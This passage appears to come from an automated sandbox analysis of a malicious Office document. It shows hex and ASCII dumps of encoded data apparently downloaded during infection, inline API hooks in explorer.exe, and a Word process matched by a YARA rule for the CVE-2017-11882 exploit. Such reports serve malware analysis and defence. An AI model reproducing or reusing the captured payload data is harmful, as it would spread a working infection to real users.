42 42 4d 79 78 67 4d 54 41 73 59 44 42 46 4c 47 41 30 4d 69 78 67 52 55 51 73 59 45 52 46 4c 47 42 46 4e 53 78 67 4d 
45 51 73 59 45 4a 47 4c 47 41 7a 52 43 78 67 52 44 4d 73 59 45 5a 44 4c 47 42 42 4f 43 78 67 51 6b 51 73 59 44 51 79 
4c 47 41 7a 4d 53 78 67 4e 7a 55 73 59 44 52 44 4c 47 41 7a 4d 53 78 67 4e 6a 4d 73 59 44 51 32 4c 47 41 35 51 79 78 
67 52 44 45 73 59 44 4d 32 4c 47 41 35 51 79 78 67 52 54 63 73 59 44 49 30 4c 47 41 77 52 43 78 67 4e 44 4d 73 59 45 
5a 45 4c 47 41 32 51 69 78 67 4e 30 45 73 59 45 52 47 4c 47 42 43 4e 53 78 67 4e 44 45 73 59 45 52 46 4c 47 42 43 4e 
69 78 67 4e 44 6b 73 59 44 56 47 4c 47 42 46 4f 53 78 67 4f 54 45 73 59 
Data Ascii: A3LGBEQSxgRTQsYEVBLGBGNixgQjgsYDhBLGBBMyxgMTAsYDBFLGA0MixgRUQsYERFLGBFNSxgMEQs
YEJGLGAzRCxgRDMsYEZDLGBBOCxgQkQsYDQyLGAzMSxgNzUsYDRDLGAzMSxgNjMsYDQ2LGA5QyxgRDEs
YDM2LGA5QyxgRTcsYDI0LGAwRCxgNDMsYEZELGA2QixgN0EsYERGLGBCNSxgNDEsYERFLGBCNixgNDks
YDVGLGBFOSxgOTEsY

2021-12-02 20:47:22 UTC 1631 IN Data Raw: 45 77 4c 47 41 7a 4e 43 78 67 4d 54 41 73 59 44 51 77 4c 47 41 7a 4f 43 78 67 4e 45 49 73 59 45 4a 44 4c 47 
41 30 4d 79 78 67 51 6a 51 73 59 45 49 34 4c 47 41 31 52 43 78 67 4e 6a 6b 73 59 44 45 31 4c 47 42 45 4e 43 78 67 4e 
55 51 73 59 44 56 46 4c 47 42 44 51 53 78 67 51 7a 45 73 59 44 42 46 4c 47 41 35 51 53 78 67 4d 6a 51 73 59 45 46 45 
4c 47 42 43 4f 53 78 67 4f 44 41 73 59 45 4d 33 4c 47 41 35 51 69 78 67 4d 54 41 73 59 44 59 7a 4c 47 42 47 52 69 78 67 
51 54 59 73 59 45 59 30 4c 47 42 45 51 69 78 67 4d 45 45 73 59 44 63 32 4c 47 41 30 4d 79 78 67 52 55 55 73 59 44 56 4
2 4c 47 41 35 52 53 78 67 51 55 55 73 59 45 45 32 4c 47 41 34 4f 53 78 67 4e 30 55 73 59 44 5a 42 4c 47 41 30 52 43 78 
67 4e 6a 41 73 59 44 42 47 4c 47 41 33 52 53 78 67 52 44 63 73 59 
Data Ascii: EwLGAzNCxgMTAsYDQwLGAzOCxgNEIsYEJDLGA0MyxgQjQsYEI4LGA1RCxgNjksYDE1LGBENCxgNUQs
YDVFLGBDQSxgQzEsYDBFLGA5QSxgMjQsYEFELGBCOSxgODAsYEM3LGA5QixgMTAsYDYzLGBGRixgQTYs
YEY0LGBEQixgMEEsYDc2LGA0MyxgRUUsYDVBLGA5RSxgQUUsYEE2LGA4OSxgN0UsYDZBLGA0RCxgNjAs
YDBGLGA3RSxgRDcsY

2021-12-02 20:47:22 UTC 1647 IN Data Raw: 52 47 4c 47 41 78 4d 69 78 67 4e 6a 51 73 59 44 59 33 4c 47 41 34 52 43 78 67 4d 45 45 73 59 45 51 79 4c 47 
41 34 4d 43 78 67 4f 54 51 73 59 45 59 35 4c 47 41 35 4d 69 78 67 4e 45 51 73 59 45 59 31 4c 47 41 77 4d 53 78 67 4e 
44 67 73 59 44 59 35 4c 47 41 78 4d 69 78 67 4f 44 49 73 59 45 55 32 4c 47 41 33 4e 79 78 67 51 6a 51 73 59 45 45 78 
4c 47 41 34 51 69 78 67 51 54 4d 73 59 45 46 46 4c 47 42 43 4d 69 78 67 4f 54 51 73 59 44 42 46 4c 47 41 35 51 79 78 6
7 4d 54 67 73 59 45 59 79 4c 47 42 42 4d 43 78 67 52 44 55 73 59 45 49 79 4c 47 42 45 4d 53 78 67 51 54 49 73 59 44 63 
35 4c 47 41 35 4e 69 78 67 52 44 6b 73 59 44 45 33 4c 47 41 78 4e 79 78 67 4e 30 51 73 59 44 67 30 4c 47 42 43 4d 53 
78 67 52 54 51 73 59 45 51 34 4c 47 41 31 4f 53 78 67 4d 55 59 73 59 
Data Ascii: RGLGAxMixgNjQsYDY3LGA4RCxgMEEsYEQyLGA4MCxgOTQsYEY5LGA5MixgNEQsYEY1LGAwMSxgNDgs
YDY5LGAxMixgODIsYEU2LGA3NyxgQjQsYEExLGA4QixgQTMsYEFFLGBCMixgOTQsYDBFLGA5QyxgMTgs
YEYyLGBBMCxgRDUsYEIyLGBEMSxgQTIsYDc5LGA5NixgRDksYDE3LGAxNyxgN0QsYDg0LGBCMSxgRTQs
YEQ4LGA1OSxgMUYsY
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2021-12-02 20:47:22 UTC 1663 IN Data Raw: 67 79 4c 47 41 30 4d 79 78 67 4d 6a 51 73 59 45 4a 47 4c 47 41 79 4d 43 78 67 52 55 4d 73 59 44 68 44 4c 47 
41 79 4d 43 78 67 4d 6a 55 73 59 44 64 47 4c 47 41 33 4d 43 78 67 4f 55 59 73 59 44 67 35 4c 47 42 47 4e 69 78 67 4f 54 
49 73 59 45 45 31 4c 47 41 79 52 69 78 67 4e 6b 59 73 59 44 4d 33 4c 47 42 45 52 43 78 67 4d 45 59 73 59 44 67 35 4c 
47 41 79 4d 53 78 67 4d 54 41 73 59 45 46 43 4c 47 41 31 52 43 78 67 4e 7a 49 73 59 44 41 33 4c 47 42 42 4d 53 78 67 
52 44 67 73 59 44 63 35 4c 47 42 43 4d 43 78 67 52 6a 67 73 59 45 59 31 4c 47 41 30 4e 43 78 67 52 6b 59 73 59 45 52 4
4 4c 47 42 43 4e 43 78 67 4e 6b 49 73 59 44 6b 34 4c 47 41 30 4f 43 78 67 4d 30 55 73 59 45 5a 46 4c 47 41 7a 4d 43 78 
67 51 7a 51 73 59 44 52 46 4c 47 41 35 4d 43 78 67 4f 45 51 73 59 
Data Ascii: gyLGA0MyxgMjQsYEJGLGAyMCxgRUMsYDhDLGAyMCxgMjUsYDdGLGA3MCxgOUYsYDg5LGBGNixgOTIs
YEE1LGAyRixgNkYsYDM3LGBERCxgMEYsYDg5LGAyMSxgMTAsYEFCLGA1RCxgNzIsYDA3LGBBMSxgRDgs
YDc5LGBCMCxgRjgsYEY1LGA0NCxgRkYsYERDLGBCNCxgNkIsYDk4LGA0OCxgM0UsYEZFLGAzMCxgQzQs
YDRFLGA5MCxgOEQsY

2021-12-02 20:47:22 UTC 1679 IN Data Raw: 6b 77 4c 47 41 30 52 69 78 67 4e 54 41 73 59 44 6c 42 4c 47 41 33 4e 43 78 67 4e 44 63 73 59 45 4d 33 4c 47 
41 32 4f 43 78 67 4f 55 51 73 59 44 68 45 4c 47 42 44 4f 53 78 67 4f 55 59 73 59 44 6c 44 4c 47 41 77 51 53 78 67 4d 54 
4d 73 59 44 42 46 4c 47 41 78 4f 43 78 67 52 6b 49 73 59 45 52 46 4c 47 42 45 52 43 78 67 51 6a 4d 73 59 45 51 30 4c 
47 41 34 4e 43 78 67 52 44 67 73 59 45 45 32 4c 47 42 43 51 79 78 67 52 55 59 73 59 44 5a 44 4c 47 41 7a 51 53 78 67 
4e 7a 4d 73 59 45 52 42 4c 47 42 47 4f 43 78 67 51 7a 49 73 59 45 4d 7a 4c 47 41 35 51 53 78 67 4f 54 4d 73 59 44 4e 45 
4c 47 42 46 51 69 78 67 4e 7a 4d 73 59 45 5a 46 4c 47 42 43 4d 69 78 67 4d 54 6b 73 59 44 59 35 4c 47 41 34 51 79 78 
67 4d 55 55 73 59 44 52 43 4c 47 42 43 4e 79 78 67 52 44 41 73 59 
Data Ascii: kwLGA0RixgNTAsYDlBLGA3NCxgNDcsYEM3LGA2OCxgOUQsYDhELGBDOSxgOUYsYDlDLG
AwQSxgMTMsYDBFLGAxOCxgRkIsYERFLGBERCxgQjMsYEQ0LGA4NCxgRDgsYEE2LGBCQyxgRUYsYDZDLG
AzQSxgNzMsYERBLGBGOCxgQzIsYEMzLGA5QSxgOTMsYDNELGBFQixgNzMsYEZFLGBCMixgMTksYDY5LG
A4QyxgMUUsYDRCLGBCNyxgRDAsY

2021-12-02 20:47:22 UTC 1695 IN Data Raw: 56 44 4c 47 42 44 52 69 78 67 52 6a 63 73 59 44 51 79 4c 47 41 79 51 53 78 67 4e 30 55 73 59 44 52 43 4c 47 
41 31 4f 53 78 67 52 6a 67 73 59 44 64 44 4c 47 41 79 52 53 78 67 4e 55 55 73 59 44 49 7a 4c 47 41 31 4e 69 78 67 4d 
7a 49 73 59 44 55 32 4c 47 41 34 4f 53 78 67 4d 6a 49 73 59 45 45 30 4c 47 41 7a 51 53 78 67 52 44 45 73 59 45 5a 46 
4c 47 41 30 4f 43 78 67 4d 45 45 73 59 44 45 79 4c 47 42 46 51 69 78 67 52 45 55 73 59 44 49 34 4c 47 42 45 4d 79 78 6
7 4e 30 45 73 59 44 63 7a 4c 47 41 31 4f 43 78 67 52 54 59 73 59 45 45 7a 4c 47 41 7a 52 69 78 67 4e 54 49 73 59 45 5a 
44 4c 47 41 35 4d 79 78 67 4e 54 63 73 59 44 6c 42 4c 47 42 46 52 53 78 67 51 6a 49 73 59 44 49 35 4c 47 41 33 4e 69 
78 67 4e 6b 4d 73 59 44 49 30 4c 47 42 42 4f 53 78 67 51 7a 51 73 59 
Data Ascii: VDLGBDRixgRjcsYDQyLGAyQSxgN0UsYDRCLGA1OSxgRjgsYDdDLGAyRSxgNUUsYDIzLGA1NixgMzIs
YDU2LGA4OSxgMjIsYEE0LGAzQSxgRDEsYEZFLGA0OCxgMEEsYDEyLGBFQixgREUsYDI4LGBEMyxgN0Es
YDczLGA1OCxgRTYsYEEzLGAzRixgNTIsYEZDLGA5MyxgNTcsYDlBLGBFRSxgQjIsYDI5LGA3NixgNkMsYDI0LGBBOS
xgQzQsY

2021-12-02 20:47:22 UTC 1711 IN Data Raw: 6b 33 4c 47 41 35 51 53 78 67 4d 44 41 73 59 45 49 7a 4c 47 41 32 4d 43 78 67 4e 45 4d 73 59 44 45 35 4c 47 
41 35 4e 53 78 67 51 55 51 73 59 45 55 78 4c 47 42 47 4e 43 78 67 51 55 45 73 59 45 51 77 4c 47 41 31 4f 53 78 67 4d 
7a 67 73 59 45 55 35 4c 47 41 7a 52 53 78 67 4d 6a 59 73 59 45 59 30 4c 47 41 31 4e 69 78 67 4e 44 41 73 59 44 46 44 
4c 47 42 46 4d 53 78 67 4d 7a 67 73 59 45 46 46 4c 47 42 46 4f 43 78 67 52 6a 49 73 59 45 5a 46 4c 47 42 45 52 43 78 6
7 4d 44 67 73 59 45 51 33 4c 47 41 34 4f 43 78 67 52 54 51 73 59 45 45 35 4c 47 42 44 4e 69 78 67 51 7a 63 73 59 44 51 
34 4c 47 41 33 51 69 78 67 4e 54 63 73 59 44 4d 77 4c 47 42 44 52 43 78 67 4d 44 55 73 59 45 51 34 4c 47 41 31 4d 43 
78 67 51 54 55 73 59 44 63 78 4c 47 42 44 4e 79 78 67 52 6a 55 73 59 
Data Ascii: k3LGA5QSxgMDAsYEIzLGA2MCxgNEMsYDE5LGA5NSxgQUQsYEUxLGBGNCxgQUEsYEQwLG
A1OSxgMzgsYEU5LGAzRSxgMjYsYEY0LGA1NixgNDAsYDFDLGBFMSxgMzgsYEFFLGBFOCxgRjIsYEZFLG
BERCxgMDgsYEQ3LGA4OCxgRTQsYEE5LGBDNixgQzcsYDQ4LGA3QixgNTcsYDMwLGBDRCxgMDUsYEQ4LG
A1MCxgQTUsYDcxLGBDNyxgRjUsY

2021-12-02 20:47:22 UTC 1727 IN Data Raw: 59 35 4c 47 41 34 4f 43 78 67 4e 6a 51 73 59 45 52 45 4c 47 41 79 4d 43 78 67 51 6a 49 73 59 44 64 43 4c 47 
41 7a 51 53 78 67 4e 6b 51 73 59 44 45 35 4c 47 41 79 4f 43 78 67 4d 54 67 73 59 44 52 44 4c 47 42 45 4d 69 78 67 4d 
30 4d 73 59 45 5a 47 4c 47 41 31 52 53 78 67 4d 54 45 73 59 45 4e 43 4c 47 41 33 4d 79 78 67 4d 6b 59 73 59 44 6b 35 
4c 47 42 42 4d 53 78 67 51 6a 49 73 59 44 45 7a 4c 47 41 79 51 79 78 67 4f 44 45 73 59 45 49 77 4c 47 41 7a 4e 79 78 6
7 52 6b 55 73 59 44 45 30 4c 47 42 45 4e 43 78 67 4d 6b 45 73 59 44 49 78 4c 47 41 7a 52 43 78 67 4f 54 51 73 59 44 55 
78 4c 47 42 42 52 53 78 67 52 6a 63 73 59 44 55 78 4c 47 41 34 51 79 78 67 4e 7a 49 73 59 44 41 7a 4c 47 42 44 4d 53 
78 67 4e 6a 67 73 59 45 49 31 4c 47 41 7a 51 69 78 67 4f 54 6b 73 59 
Data Ascii: Y5LGA4OCxgNjQsYERELGAyMCxgQjIsYDdCLGAzQSxgNkQsYDE5LGAyOCxgMTgsYDRDLGBEMixgM0Ms
YEZGLGA1RSxgMTEsYENCLGA3MyxgMkYsYDk5LGBBMSxgQjIsYDEzLGAyQyxgODEsYEIwLGAzNyxgRkUs
YDE0LGBENCxgMkEsYDIxLGAzRCxgOTQsYDUxLGBBRSxgRjcsYDUxLGA4QyxgNzIsYDAzLGBDMSxgNjgs
YEI1LGAzQixgOTksY

2021-12-02 20:47:22 UTC 1743 IN Data Raw: 42 43 4c 47 42 44 52 69 78 67 52 44 55 73 59 45 45 30 4c 47 42 44 4d 69 78 67 4e 6b 49 73 59 44 52 43 4c 47 
41 7a 4e 43 78 67 4e 6a 55 73 59 44 67 79 4c 47 41 7a 4d 79 78 67 4e 7a 63 73 59 44 67 34 4c 47 42 47 4d 69 78 67 52 
54 51 73 59 44 52 47 4c 47 41 7a 4e 53 78 67 4f 54 59 73 59 44 41 30 4c 47 41 34 4e 79 78 67 4f 44 55 73 59 44 6b 35 4c 
47 41 79 4e 53 78 67 4d 30 59 73 59 45 4a 47 4c 47 41 34 4d 43 78 67 4d 6b 55 73 59 44 41 79 4c 47 42 47 51 53 78 67 
4d 7a 67 73 59 44 51 32 4c 47 42 44 51 79 78 67 4d 44 41 73 59 44 4a 47 4c 47 41 32 52 69 78 67 4d 6a 6b 73 59 45 45 3
2 4c 47 41 32 4d 53 78 67 4e 6b 4d 73 59 44 42 45 4c 47 41 33 4e 53 78 67 4d 54 55 73 59 45 55 35 4c 47 41 77 51 53 78 
67 4f 45 51 73 59 45 4e 45 4c 47 42 45 4d 79 78 67 51 6a 6b 73 59 
Data Ascii: BCLGBDRixgRDUsYEE0LGBDMixgNkIsYDRCLGAzNCxgNjUsYDgyLGAzMyxgNzcsYDg4LGBGMixgRTQs
YDRGLGAzNSxgOTYsYDA0LGA4NyxgODUsYDk5LGAyNSxgM0YsYEJGLGA4MCxgMkUsYDAyLGBGQSxgMzgs
YDQ2LGBDQyxgMDAsYDJGLGA2RixgMjksYEE2LGA2MSxgNkMsYDBELGA3NSxgMTUsYEU5LGAwQSxgOEQs
YENELGBEMyxgQjksY

2021-12-02 20:47:22 UTC 1759 IN Data Raw: 51 35 4c 47 41 31 4e 69 78 67 4d 7a 49 73 59 44 4d 79 4c 47 41 33 4d 79 78 67 4e 54 41 73 59 44 45 78 4c 47 
41 34 52 53 78 67 52 54 45 73 59 44 6b 31 4c 47 42 43 4d 53 78 67 4e 30 4d 73 59 44 4a 43 4c 47 41 77 4e 53 78 67 4f 
54 45 73 59 44 49 7a 4c 47 41 35 4f 43 78 67 4e 7a 63 73 59 44 4d 7a 4c 47 42 47 52 43 78 67 4d 44 41 73 59 44 63 35 
4c 47 41 35 4f 53 78 67 4e 7a 49 73 59 44 63 34 4c 47 41 34 51 53 78 67 4e 44 45 73 59 44 4e 44 4c 47 41 7a 4f 43 78 6
7 4e 44 6b 73 59 45 4e 47 4c 47 42 42 51 69 78 67 4e 30 45 73 59 45 59 77 4c 47 41 78 4e 43 78 67 4d 7a 67 73 59 45 49 
33 4c 47 41 35 52 69 78 67 52 54 59 73 59 44 45 33 4c 47 42 46 4e 79 78 67 4e 44 49 73 59 44 68 47 4c 47 42 43 51 79 
78 67 4d 55 49 73 59 45 55 32 4c 47 41 31 4d 69 78 67 4f 54 6b 73 59 
Data Ascii: Q5LGA1NixgMzIsYDMyLGA3MyxgNTAsYDExLGA4RSxgRTEsYDk1LGBCMSxgN0MsYDJCLGAwNSxgOTEs
YDIzLGA5OCxgNzcsYDMzLGBGRCxgMDAsYDc5LGA5OSxgNzIsYDc4LGA4QSxgNDEsYDNDLGAzOCxgNDks
YENGLGBBQixgN0EsYEYwLGAxNCxgMzgsYEI3LGA5RixgRTYsYDE3LGBFNyxgNDIsYDhGLGBCQyxgMUIs
YEU2LGA1MixgOTksY

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

2021-12-02 20:47:22 UTC 1775 IN Data Raw: 68 45 4c 47 42 44 4f 43 78 67 4d 54 51 73 59 45 55 79 4c 47 41 30 52 69 78 67 52 44 63 73 59 45 55 7a 4c 47 
41 30 4f 53 78 67 4d 7a 51 73 59 44 6b 33 4c 47 41 30 4e 69 78 67 4e 44 51 73 59 44 59 7a 4c 47 41 79 52 69 78 67 4f 54 
4d 73 59 44 4a 43 4c 47 41 7a 4d 53 78 67 4d 44 6b 73 59 45 45 34 4c 47 41 32 51 53 78 67 51 6a 45 73 59 45 4a 43 4c 
47 42 42 4f 53 78 67 52 6b 4d 73 59 45 45 77 4c 47 42 44 4d 69 78 67 4d 55 59 73 59 44 63 34 4c 47 41 77 4d 79 78 67 
4e 6a 45 73 59 44 64 42 4c 47 41 79 52 53 78 67 4e 6a 55 73 59 45 5a 47 4c 47 41 79 51 69 78 67 51 6a 67 73 59 44 4e 4
6 4c 47 41 79 4d 43 78 67 4f 44 49 73 59 45 55 77 4c 47 42 47 52 43 78 67 4e 55 55 73 59 44 63 7a 4c 47 41 7a 52 53 78 
67 52 6a 41 73 59 44 55 30 4c 47 42 44 4f 53 78 67 52 45 59 73 59 
Data Ascii: hELGBDOCxgMTQsYEUyLGA0RixgRDcsYEUzLGA0OSxgMzQsYDk3LGA0NixgNDQsYDYzLGAyRixgOTMs
YDJCLGAzMSxgMDksYEE4LGA2QSxgQjEsYEJCLGBBOSxgRkMsYEEwLGBDMixgMUYsYDc4LGAwMyxgNjEs
YDdBLGAyRSxgNjUsYEZGLGAyQixgQjgsYDNFLGAyMCxgODIsYEUwLGBGRCxgNUUsYDczLGAzRSxgRjAs
YDU0LGBDOSxgREYsY

2021-12-02 20:47:22 UTC 1791 IN Data Raw: 59 35 4c 47 41 31 4d 69 78 67 4f 54 6b 73 59 44 4d 32 4c 47 41 77 4f 53 78 67 4d 44 4d 73 59 44 56 46 4c 47 
41 79 4d 53 78 67 4e 6a 59 73 59 44 45 34 4c 47 42 43 4e 53 78 67 4d 45 51 73 59 45 4a 42 4c 47 41 33 4e 53 78 67 4d 
30 49 73 59 45 59 78 4c 47 41 34 51 69 78 67 4f 54 4d 73 59 45 56 42 4c 47 41 79 4d 53 78 67 51 30 4d 73 59 44 41 33 
4c 47 42 43 4d 43 78 67 4d 30 45 73 59 44 67 34 4c 47 41 7a 4e 53 78 67 4f 45 51 73 59 44 49 7a 4c 47 41 77 52 69 78 6
7 52 6b 59 73 59 45 49 31 4c 47 42 46 51 69 78 67 52 6a 6b 73 59 45 49 79 4c 47 41 77 4d 53 78 67 52 44 63 73 59 44 4e 
42 4c 47 41 32 51 69 78 67 52 6a 51 73 59 44 6b 78 4c 47 42 47 4d 53 78 67 4d 6a 41 73 59 44 56 42 4c 47 41 30 51 69 
78 67 52 6a 6b 73 59 44 6c 47 4c 47 41 30 52 69 78 67 4d 55 55 73 59 
Data Ascii: Y5LGA1MixgOTksYDM2LGAwOSxgMDMsYDVFLGAyMSxgNjYsYDE4LGBCNSxgMEQsYEJBLGA3NSxgM0Is
YEYxLGA4QixgOTMsYEVBLGAyMSxgQ0MsYDA3LGBCMCxgM0EsYDg4LGAzNSxgOEQsYDIzLGAwRixgRkYs
YEI1LGBFQixgRjksYEIyLGAwMSxgRDcsYDNBLGA2QixgRjQsYDkxLGBGMSxgMjAsYDVBLGA0QixgRjksYDlGLGA0Ri
xgMUUsY

2021-12-02 20:47:22 UTC 1807 IN Data Raw: 59 30 4c 47 42 45 4f 43 78 67 4d 7a 41 73 59 44 56 43 4c 47 41 35 51 69 78 67 52 44 49 73 59 44 4d 32 4c 47 
41 31 4d 53 78 67 4f 45 59 73 59 44 41 77 4c 47 41 78 51 79 78 67 4d 45 49 73 59 44 52 43 4c 47 41 77 4d 69 78 67 51 
30 49 73 59 44 4a 42 4c 47 41 79 4e 69 78 67 52 54 67 73 59 44 41 32 4c 47 41 34 4e 53 78 67 4f 55 51 73 59 45 52 43 
4c 47 42 45 4e 79 78 67 4e 6a 59 73 59 44 68 42 4c 47 41 7a 52 53 78 67 4f 55 59 73 59 44 63 30 4c 47 41 34 4e 53 78 6
7 4e 44 67 73 59 44 51 7a 4c 47 41 7a 51 53 78 67 4f 54 6b 73 59 44 59 31 4c 47 41 34 52 53 78 67 4d 7a 55 73 59 44 51 
78 4c 47 42 45 4d 79 78 67 4d 44 4d 73 59 44 45 31 4c 47 41 79 4d 43 78 67 4d 6b 49 73 59 44 64 43 4c 47 41 7a 52 53 
78 67 4e 55 55 73 59 45 4d 32 4c 47 41 33 51 69 78 67 4d 55 45 73 59 
Data Ascii: Y0LGBEOCxgMzAsYDVCLGA5QixgRDIsYDM2LGA1MSxgOEYsYDAwLGAxQyxgMEIsYDRCLGAwMixgQ0Is
YDJBLGAyNixgRTgsYDA2LGA4NSxgOUQsYERCLGBENyxgNjYsYDhBLGAzRSxgOUYsYDc0LGA4NSxgNDgs
YDQzLGAzQSxgOTksYDY1LGA4RSxgMzUsYDQxLGBEMyxgMDMsYDE1LGAyMCxgMkIsYDdCLGAzRSxgNUUs
YEM2LGA3QixgMUEsY

2021-12-02 20:47:22 UTC 1823 IN Data Raw: 6b 33 4c 47 41 79 4d 79 78 67 52 6b 49 73 59 45 55 32 4c 47 41 34 52 43 78 67 51 54 41 73 59 45 46 44 4c 47 
41 79 4e 79 78 67 51 30 45 73 59 45 49 79 4c 47 42 47 51 53 78 67 52 6a 49 73 59 44 45 77 4c 47 41 34 4f 53 78 67 4d 
6a 45 73 59 45 4d 33 4c 47 41 31 4f 43 78 67 4e 44 55 73 59 44 46 44 4c 47 41 35 4d 79 78 67 4e 54 4d 73 59 44 41 32 
4c 47 41 77 51 79 78 67 52 6a 55 73 59 45 49 35 4c 47 41 32 4e 69 78 67 4f 54 51 73 59 45 4d 31 4c 47 42 46 4d 43 78 6
7 4d 54 59 73 59 45 49 30 4c 47 41 35 4d 43 78 67 4f 44 51 73 59 44 68 47 4c 47 41 7a 4d 43 78 67 52 55 51 73 59 45 4a 
43 4c 47 41 77 52 69 78 67 51 7a 41 73 59 44 64 47 4c 47 42 42 4e 79 78 67 52 54 4d 73 59 44 63 77 4c 47 42 44 52 53 
78 67 4e 45 49 73 59 44 46 47 4c 47 41 7a 4d 43 78 67 52 44 41 73 59 
Data Ascii: k3LGAyMyxgRkIsYEU2LGA4RCxgQTAsYEFDLGAyNyxgQ0EsYEIyLGBGQSxgRjIsYDEwLGA4OSxgMjEs
YEM3LGA1OCxgNDUsYDFDLGA5MyxgNTMsYDA2LGAwQyxgRjUsYEI5LGA2NixgOTQsYEM1LGBFMCxgMTYs
YEI0LGA5MCxgODQsYDhGLGAzMCxgRUQsYEJCLGAwRixgQzAsYDdGLGBBNyxgRTMsYDcwLGBDRSxgNEIs
YDFGLGAzMCxgRDAsY

2021-12-02 20:47:22 UTC 1839 IN Data Raw: 52 47 4c 47 41 79 4e 53 78 67 51 55 49 73 59 44 41 78 4c 47 42 46 52 43 78 67 4d 7a 45 73 59 44 45 31 4c 47 
42 47 4d 79 78 67 51 6a 51 73 59 45 4e 43 4c 47 41 77 52 53 78 67 4d 7a 45 73 59 44 4a 43 4c 47 42 44 51 79 78 67 4f 
54 41 73 59 45 59 34 4c 47 41 32 51 79 78 67 51 54 45 73 59 45 4a 43 4c 47 42 42 51 53 78 67 4f 45 4d 73 59 44 55 7a 
4c 47 41 77 51 53 78 67 4d 44 49 73 59 44 63 77 4c 47 42 46 4e 43 78 67 4d 44 67 73 59 44 41 7a 4c 47 41 79 4f 43 78 6
7 4d 54 51 73 59 44 5a 43 4c 47 41 7a 4d 53 78 67 4e 6a 45 73 59 44 5a 46 4c 47 42 47 4d 79 78 67 52 55 55 73 59 44 6c 
46 4c 47 41 31 4e 43 78 67 52 54 41 73 59 44 49 33 4c 47 42 47 4d 53 78 67 51 6a 59 73 59 44 4a 46 4c 47 41 31 51 69 
78 67 4d 6a 51 73 59 44 55 79 4c 47 41 7a 51 53 78 67 4d 6b 51 73 59 
Data Ascii: RGLGAyNSxgQUIsYDAxLGBFRCxgMzEsYDE1LGBGMyxgQjQsYENCLGAwRSxgMzEsYDJCLG
BDQyxgOTAsYEY4LGA2QyxgQTEsYEJCLGBBQSxgOEMsYDUzLGAwQSxgMDIsYDcwLGBFNCxgMDgsYDAzLG
AyOCxgMTQsYDZCLGAzMSxgNjEsYDZFLGBGMyxgRUUsYDlFLGA1NCxgRTAsYDI3LGBGMSxgQjYsYDJFLG
A1QixgMjQsYDUyLGAzQSxgMkQsY

2021-12-02 20:47:22 UTC 1855 IN Data Raw: 4d 30 4c 47 41 7a 4f 43 78 67 4d 6b 45 73 59 45 5a 44 4c 47 41 30 4f 53 78 67 52 6a 59 73 59 45 5a 46 4c 47 
41 32 4d 53 78 67 4e 30 4d 73 59 45 51 31 4c 47 41 31 4e 53 78 67 52 54 63 73 59 45 4e 42 4c 47 41 79 4f 43 78 67 52 
45 49 73 59 44 45 33 4c 47 42 46 52 43 78 67 4d 44 51 73 59 44 4d 79 4c 47 42 42 4d 69 78 67 4d 45 55 73 59 44 51 33 
4c 47 41 79 4d 53 78 67 52 54 55 73 59 44 67 30 4c 47 42 47 52 53 78 67 4f 55 51 73 59 44 51 32 4c 47 41 32 51 53 78 6
7 51 55 4d 73 59 45 4d 77 4c 47 41 31 52 43 78 67 52 6a 41 73 59 44 68 47 4c 47 41 77 51 69 78 67 51 6a 67 73 59 44 4a 
47 4c 47 42 42 4f 43 78 67 4d 6a 49 73 59 44 51 31 4c 47 41 35 51 53 78 67 51 30 55 73 59 45 56 46 4c 47 42 46 51 53 
78 67 4f 44 67 73 59 44 4e 46 4c 47 41 30 4d 53 78 67 4d 54 59 73 59 
Data Ascii: M0LGAzOCxgMkEsYEZDLGA0OSxgRjYsYEZFLGA2MSxgN0MsYEQ1LGA1NSxgRTcsYENBLGAyOCxgREIs
YDE3LGBFRCxgMDQsYDMyLGBBMixgMEUsYDQ3LGAyMSxgRTUsYDg0LGBGRSxgOUQsYDQ2LGA2QSxgQUMs
YEMwLGA1RCxgRjAsYDhGLGAwQixgQjgsYDJGLGBBOCxgMjIsYDQ1LGA5QSxgQ0UsYEVFLGBFQSxgODgs
YDNFLGA0MSxgMTYsY

2021-12-02 20:47:22 UTC 1871 IN Data Raw: 4d 30 4c 47 41 7a 51 69 78 67 51 7a 67 73 59 45 4e 47 4c 47 41 78 51 53 78 67 51 55 51 73 59 45 55 31 4c 47 
42 46 52 53 78 67 4f 55 45 73 59 44 56 43 4c 47 41 35 4d 79 78 67 4d 30 45 73 59 44 52 46 4c 47 41 32 4d 69 78 67 4f 44 
67 73 59 45 4d 32 4c 47 41 33 51 79 78 67 4d 7a 45 73 59 45 5a 43 4c 47 42 45 4f 43 78 67 4e 54 41 73 59 44 42 45 4c 
47 41 79 4d 79 78 67 52 6a 4d 73 59 44 42 45 4c 47 41 79 4d 43 78 67 4d 7a 6b 73 59 45 56 44 4c 47 41 31 52 69 78 67 
4e 6b 45 73 59 45 55 32 4c 47 41 79 4e 69 78 67 4e 6b 45 73 59 44 51 78 4c 47 42 45 4d 79 78 67 51 6b 55 73 59 44 6b 3
3 4c 47 42 43 52 53 78 67 51 54 59 73 59 44 41 78 4c 47 41 35 4e 69 78 67 4d 6a 55 73 59 44 64 43 4c 47 41 30 4e 43 78 
67 4f 44 51 73 59 44 59 32 4c 47 41 30 52 53 78 67 52 6b 4d 73 59 
Data Ascii: M0LGAzQixgQzgsYENGLGAxQSxgQUQsYEU1LGBFRSxgOUEsYDVCLGA5MyxgM0EsYDRFLGA2MixgODgs
YEM2LGA3QyxgMzEsYEZCLGBEOCxgNTAsYDBELGAyMyxgRjMsYDBELGAyMCxgMzksYEVDLGA1RixgNkEs
YEU2LGAyNixgNkEsYDQxLGBEMyxgQkUsYDk3LGBCRSxgQTYsYDAxLGA5NixgMjUsYDdCLGA0NCxgODQs
YDY2LGA0RSxgRkMsY

Timestamp
kBytes
transferred Direction Data
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Statistics

Behavior

Click to jump to process

System Behavior

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 21:46:16

Start date: 02/12/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

Imagebase: 0x13f2b0000

File size: 1423704 bytes

MD5 hash: 9EE74859D22DAE61F1750B3A1BACB6F5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: rtf_cve2017_11882_ole, Description: Attempts to identify the exploit CVE 2017 
11882, Source: 
00000000.00000002.568094233.0000000006339000.00000004.00000001.sdmp, Author: 
John Davison
